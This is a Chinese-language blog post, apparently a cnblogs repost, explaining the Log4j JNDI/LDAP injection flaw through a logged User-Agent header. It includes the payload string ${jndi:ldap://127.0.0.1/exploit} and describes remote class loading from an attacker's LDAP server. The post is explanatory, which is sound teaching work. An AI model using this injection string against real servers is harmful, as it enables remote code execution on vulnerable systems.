zoukankan      html  css  js  c++  java
  • log4j的bug

    log4j的bug跟sql注入的方式是一样的,如果不知道sql注入没关系,接着看。

    想要知道log4j的bug,我们先来熟悉一下log4j的JNDI和LDAP

    JNDI

    JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

    也就是说,通过jndi接口,传进去一个user就能得到一个对应的对象

    LDAP

    那ldap是什么呢?

    你只需要简单粗暴理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个user进去,就能获取到数据。

    这个就可以理解为,获取某一个地址的user数据,    

    eg:      127.0.0.1/user    这个就是通过JNDI下的LDAP,来找到服务器为127.0.0.1的user

    漏洞原理

    现在来看一下我们平时写的日志,如下

    String userAgent = request.getHeader("User-Agent");
    logger.info(userAgent);  

    这个userAgent是获取请求头的信息,如果这个请求头信息的值,别人故意写成 ${jndi:ldap://127.0.0.1/exploit}
    那么logger.info打印的时候,会发现带有${}这种特殊符号,就要特殊的处理
    就会对这个userAgent进行解析,解析的时候,发现是jndi开头的,是jndi的扩展内容
    就会继续解析,解析到后面会发现是ldap协议
    ldap://127.0.0.1/exploit   这里是ldap开头(如果是http开头,就是http协议)

       LDAP服务器在127.0.0.1,要查找的key是exploit。

      最后,调用具体负责LDAP的模块去请求对应的数据。

      得到的这个数据是普通数据是没有问题的,问题在于,如果给的数据是一个class文件。拿到这个文件之后,

    (JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象)

      构建成一个对象(这里就有问题了,假如 127.0.0.1 这个地址是黑客的地址,这个对象是一个恶意代码,就出现了漏洞)

     

     

     



  • 相关阅读:
    稳定性「三十六计」- 无状态化
    设置默认的超时和重试是一个基础设施的基本素养
    「前任的50种死法」开发踩坑案例--慢就是错
    稳定性「三十六计」- 配额管控
    编写代码的「八荣八耻」- 以开关上线为荣,以自信编码为耻
    Kubernetes的DaemonSet(下篇)
    使用Elasticsearch的动态索引和索引优化
    Kubernetes的DaemonSet(上篇)
    程序媛的人生观
    Kubernetes的污点和容忍(下篇)
  • 原文地址:https://www.cnblogs.com/1306962984wei/p/15718363.html
Copyright © 2011-2022 走看看